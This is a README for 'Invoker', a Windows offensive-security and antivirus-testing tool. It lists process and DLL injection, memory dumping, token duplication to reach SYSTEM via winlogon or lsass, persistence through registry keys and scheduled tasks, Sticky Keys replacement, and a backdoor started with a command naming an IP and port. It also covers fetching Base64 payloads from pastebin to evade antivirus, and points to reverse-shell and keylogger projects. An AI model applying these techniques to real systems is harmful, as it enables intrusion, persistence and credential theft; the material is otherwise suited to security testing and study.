Invoker
Penetration testing utility and antivirus assessment tool.
Built with Visual Studio Community 2019 v16.9.3 (64-bit) and tested on Windows 10 Enterprise OS (64-bit).
Dev-C++ project is discontinued.
Made for educational purposes. I hope it will help!
Future plans:
Direct System Calls,- DLL Proxying,
- COM Hijacking.
Table of Contents
- Invoker Library
- How to Run
- Bytecode Injection
- Generate a Reverse Shell Payload
- PowerShell Scripts
- Direct System Calls
- Make a DLL With a Hook Procedure
- Get the LocalSystem Account (NT AUTHORITY\SYSTEM)
- Images
Invoker Library
Capabilities:
- invoke the Command Prompt and PowerShell,
make a direct system call,- Windows Management Instrumentation (WMI),
- connect to a remote host,
- run a new process,
- terminate a running process,
- dump a process memory,
- inject a bytecode into a running process,
- inject a DLL into a running process,
- list DLLs of a running process,
- install a hook procedure,
- enable access token privileges,
- duplicate the access token of a running process,
- download a file,
- add a registry key,
- schedule a task,
- list unquoted service paths and restart a running service,
- replace Sticky Keys.
Some features may require administrative privileges.
Check the library here. Feel free to use it!
How to Run
Run \exec\Invoker_x86.exe (32-bit) or \exec\Invoker_x64.exe (64-bit).
To automate the backdoor while setting up a persistence, run the following command:
Invoker_x64.exe 192.168.8.5 9000
32-bit Invoker can:
make a direct system call,- dump the memory of a 32-bit process,
- inject a 32-bit bytecode into a 32-bit process,
- inject a 32-bit DLL into a 32-bit process,
- list DLLs of a 32-bit process,
- install a hook procedure from a 32-bit DLL.
64-bit Invoker can:
- make a direct system call,
- dump the memory of a 32-bit process,
- dump the memory of a 64-bit process,
- inject a 32-bit bytecode into a 32-bit process,
- inject a 64-bit bytecode into a 64-bit process,
inject a 32-bit DLL into a 32-bit process,- inject a 64-bit DLL into a 64-bit process,
list DLLs of a 32-bit process,- list DLLs of a 64-bit process.
install a hook procedure from a 32-bit DLL,- install a hook procedure from a 64-bit DLL.
Bytecode Injection
Elevate privileges by injecting bytecode into a higher-privileged process.
This tool can parse an HTTP response and extract the payload from a custom element, e.g. from <invoker>payload</invoker>
where payload
is a binary code/file encoded in Base64.
Check the example at pastebin.com/raw/xf9Trt0d.
This might be useful if antivirus is constantly deleting your local payloads.
Also, check an additional example at pastebin.com/raw/iW17rCxH.
P.S. Bytecodes provided will most certainly not work for you.
Use ngrok to give your local web server a public address.
Too see if a process is 32-bit or 64-bit open up Task Manager -> click on More details
-> go to Details
tab -> right click on any of the columns -> click on Select columns
-> check the Platform
checkbox.
Additionally, to see if a process is running with administrative privileges check the Elevated
checkbox.
Generate a Reverse Shell Payload
Find out how to generate a reverse shell payload from my other project, as well as, find out how to set up an Ncat and multi/handler listeners.
PowerShell Scripts
If you wish to run a PowerShell reverse or bind shell from the Invoker, check my other project.
Just copy and paste any of the one-liners in your PowerShell session.
Direct System Calls
Direct system calls library and assembly were generated with SysWhispers2. Credits to the author! As of this writing, this tool only supports 64-bit direct system calls.
To generate the same library and assembly, run the following command from your preferred console:
python syswhispers.py -f NtOpenProcess,NtClose,NtAllocateVirtualMemory,NtWriteVirtualMemory,NtFreeVirtualMemory,NtCreateThreadEx -o syscalls
Check my wrapper for the library here. Feel free to use it!
TO DO: Add more features.
Make a DLL With a Hook Procedure
Find out how to make a DLL with a hook procedure here. The hook procedure will invoke a message box on each window close.
Also, check out a keyboard hook procedure here.
Always remove all the created artifacts after you are done testing, e.g. remove keylogger.log
.
Get the LocalSystem Account (NT AUTHORITY\SYSTEM)
Run the Invoker as administrator.
Enable all access token privileges.
Duplicate the access token from e.g. Windows Logon Application (winlogon.exe) and run a new instance of the Invoker.
Within the new Invoker instance, open the Command Prompt and run whoami
, you should now see nt authority\system
.
Enable all access token privileges once again.
Close the old Invoker instance.
P.S. You get more access token privileges from Local Security Authority Subsystem Service (lsass.exe).
Images
Figure 1 - Invoker
Figure 2 - Add/Edit Registry Key
Figure 3 - Bytecode Injection
Figure 4 - Elevated Privileges